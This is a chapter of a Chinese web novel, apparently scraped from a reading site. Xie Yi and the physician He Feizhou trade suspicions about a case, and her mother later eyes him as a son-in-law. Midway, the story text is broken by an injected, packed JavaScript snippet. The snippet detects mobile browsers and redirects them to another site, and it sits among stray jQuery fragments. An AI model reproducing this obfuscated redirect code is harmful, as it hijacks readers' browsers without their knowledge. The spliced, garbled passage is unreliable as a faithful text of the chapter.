谢伊说了不管沈玉后就坐上马车一路朝着谢府的方向走,贺飞洲对此当然没意见,两人在车上相对坐着,安静的听着车轮不断碾地的轱辘声。
马车走了半个时辰,路程接近一半时,谢伊忽然出声叫住了前方的车夫:“停一下。”
“我去买个东西。”
她看见了一个熟悉的摊位。
贺飞洲起身想同她一起下去,却被谢伊伸手拦住:“是个小玩意,不用你帮忙,我很快就能回来。”
谢伊说很快动作就就毫不含糊,不过一会儿,她就又回到了车上,手上还拿了个银簪。
她把银簪扔给对面的贺飞洲,道:“送你的。”
贺飞洲伸手接过,看到银簪的款式时愣住一瞬,反应过来后他侧身掀开车帘看了眼不远处的摊位,墨色的眸中掠起一层清波。
原来,是他昨日与人争执时被发现了,他说怎么早上第一次见谢伊她就对他似乎有敌意,原来是怀疑他目的不纯。
“我瞧你应该很喜欢这个簪子,就自作主张的买了下来,你来给我看病,我总要送你些礼物。”谢伊盯着他弯了弯唇,她没打算把这件事藏着了。
“礼物?”贺飞洲抬头,视线望进谢伊眼里,他脸上装出来的温和一寸寸褪去,变得些许懒散:“一一倒是很会读人心,这个礼物我确实喜欢。”
“喜欢就好,飞洲公子下次若还有喜欢的东西,不用再跟别人抢,我都替你买了就是。”
谢伊这句话说的有些不阴不阳的嘲讽,实际上,她也确实是这个意思,她当时看到时就想吐槽,明明有这么多相同样式的,他非要跟一个女人抢。
做男人做成这样,好不大气。
贺飞洲的狐狸眼微微挑起:“跟你有什么关系。”
她知道什么叫不争馒头争口气吗?
本性彻底暴露出来,谢伊看着他这才舒服些,她就说,之前这张脸她怎么看怎么别扭,还是那天那样肆无忌惮吵得飞天的样子才适合他。
“当然有了。”谢伊说:“你跟我有关,你的事就跟我有关。”
“而且你是我娘请的大夫,我总不能让你为了一根簪子就跟人吵架不是,这样显得谢家多亏待了你一样。”
谢伊说的诚恳,看着好像还真以为她是不想让贺飞洲吃亏一样。
贺飞洲;“……好啊,那我想要的东西你都给我包了呗。”
谢伊毫不犹豫的接:“可以。”
她爹虽然官位不大,但她娘行商,家里金银财宝可以说是很多,非常多。所以她的金库也很多,买些东西而已,不成问题。
贺飞洲:“……”
他还真如方尚所说,成要被强取包养的小白脸了。
“你想问我什么?”他不想继续在这个话题上说,索性敞开了问,谢伊早上第一时间看见他时不明说见过他这件事,下午也没提,直到现在才表明,那就是发现了什么。
谢伊见他这样问,唇角弯了下,道:“为什么要这么说,我没什么问题。”
“或者说,就算问了,你也不会回答的不是吗?”
她之前是在怀疑他的目的,不过今天下午在她在齐响住处搜寻时偶然发现的一块白绸纱布让她大致确定了贺飞洲提早来京都又不说明的原因。
竟然还是跟齐响有关,这还真是……凑巧。
齐响的屋里找到纱布并不奇怪,奇怪的是纱布上有浓厚的药味,说明这是一块行医之人才会用到的包扎纱布。
若说单指这点也并不能就指认谁,可是这纱布的绸料跟贺飞洲腰间挂的香囊的绸料也太像了。
以及还有一处,贺飞洲身上有着一股长年累月浸在药材中的清润苦味,和这块纱布上的味道如初一辙。
这一条两条的叠加在一起,让谢伊不得不怀疑昨晚追着沈玉的那个人就是他。
她跟沈玉一样,要去齐响那里取同一个东西。沈玉不说取的是什么,那贺飞洲应该也不会说。
谢伊知道自己问不出来,也就不想强求了,她只想确认一件事:“你只需要告诉我,你做的事,会不会牵扯到谢家?”
沈玉、齐响、岳继,以及明盛学堂内的所有学生,这些人的家世没有哪一个不深,各家之间也不会全部都是一条心,可她们却联合插手参与了齐响这事,并且心照不宣的相互隐瞒,快速结案。
背后能有这么大能力让他们听话的,只有一个人。
只会是一个人。
其实谢伊在知道学院内部全员都参与这件事的时候,她就隐隐有猜到一些,但是她不敢想的太深。
系统标识的这次任务只是个一星级,比王老大那件事星级要低,查出来真相应该要更简单才是,所以谢伊觉得自己猜到这儿的时候都有点走歪了,不应该这样,皇帝要想杀一个人,不知不觉应该就没了,怎么会这么麻烦。
不是皇帝,但是跟他却有关。
贺飞洲在这其中扮演的角色尚未可知,但是他如今既然来到她们家,参与的事又扯上皇帝这么一层关系,谢伊不得不担心起自己爹娘。
“不会。”贺飞洲正色了些,一字一句道:“这点你可以放心,她不会让任何其他人牵连进来。”
谢伊听到这话,心下算是稍微松了口气,贺飞洲来谢家确实是偶然,毕竟是她娘先去请的人。
而且看来她也没想错,所有人背后确实有那么一个‘她’,
不过,谢伊眼中浮起些好奇:“你为什么会替她做事?”
“欠了些人情,就只能这样咯。”,没办法,谁让他之前的人情债没还完。
贺飞洲回答完反问回去:“你又为什么一定要查这个案子?”
沈玉参与到查案里是为了找那个人,逼她现身,但谢伊跟这个案子一点关系也没有,说是爱好查案这个理由他不信。
谢伊缓慢的眨了下眼,道:“……非要说的话,是为了活命。”
不管是送货还是找真相,她都是为了好好活下去罢了。
“你……”贺飞洲的眸光微动,联想到她莫名找不出问题却一直体弱的毛病,又沉默下来。
谢伊知道他可能想多了,但她没出声提醒,主要是系统这东西,太玄也根本没办法说。
两个人既然都把话挑明了,也就不用再互相装什么了。各自神色轻松的回了府,关系看起来比早上时要和谐不少。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292103|165064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
至少在姜山梅眼里是这样。她早上时还能感觉到女儿对对方的戒备,以及贺飞洲的疏离,现在两人之间倒是有了些交换秘密的亲昵感。
若是女儿能嫁给一个医术高超的大夫……
是件好亲事。
姜山梅眼神在两人身上左右打转,看的谢伊隐隐有些不妙感,她出声忙打断她娘的想法,道:“娘,今晚都炒了什么菜?”
“八宝鸭,莲房鱼包、青虾羹、芙蓉蟹、还有切片鸡……”姜山梅说着话,房外就来了送饭的仆从。
“不知道你们什么时候回来,便一直热着。”
谢伊听到菜名时有些惊讶,道:“今天怎么忽然这么丰盛?”
往日因为她,家中准备的吃食虽然也都多样,但基本都是清淡的,少有荤腥。
“一一,怎么说话呢。”姜山梅佯装生气的敲了下她额头,看向贺飞洲道:“贺公子第一天来,当然要好好招待。”
贺飞洲面上显得很客气的说:“姜夫人,我在我师父身边是吃的也是清淡的家常菜,吃食上不用太特殊。”
“贺公子,我向你师父了解过你的口味,做的这些,应该都是你平日爱吃的。”
这话一出,谢伊看了眼满桌的大鱼大肉,又转头将目光缓缓移到贺飞洲身上,她打量他半晌:原来你是个口是心非的。
谢伊:爱吃就吃呗,装什么?
贺飞洲:师父他老人家能不能少透漏点个人隐私!他不要面子吗?他好好一个神圣的医师职位,说出去就爱荤腥那一口,氛围一下就没了。
尽管心里活动已经转了几轮,贺飞洲在姜山梅面前也是保持着得体的微笑,他温和道:“那就多谢姜夫人款待了。”
尽管桌上食物很丰盛,谢伊也不被允许多吃,一顿饭下来,还有个必备节目就是喝药。
药是今早贺飞洲新开的,味道罕见的闻起来并不苦涩,谢伊一口吞下去,在喉中也是甘甜的。
“这里面特意加了一味青甜叶,刚好能把其他药的苦味中和。”贺飞洲解释道。
谢伊奇怪:“那为什么我之前喝的没有加?”
“青甜叶的治疗气虚的药效很弱,价格偏贵药店也很少出售,除了能中和苦味外并没有什么大作用,往日有些大夫很少会考虑这个。”
毕竟,都喝药了,还在乎苦不苦的。
“但是因着一一是姑娘家,所以我便加了这味。”
谢伊听到这话,第一反应不是他考虑的周到,而是一脸的狐疑盯着他。
他是不是因为贵又不好找才给她加进来的?
早上两人的相处并不怎么愉快,甚至可以说有点针锋相对,她不太相信他那时候那么好心。
贺飞洲迎着她的目光,脸不红心不跳的挂着笑。被发现了。
两人在这里相互试探,对面的姜山梅看着她们的互动神色却越发满意,一一很少有同龄的玩伴,贺飞洲的到来刚好填补了这个空缺。
是神医弟子,是同龄人,又和一一相处的很好,姜山梅想着,已经想要把两人的亲事提上日程了。
要怎么劝贺飞洲留下呢?
谢伊:娘,求你醒醒!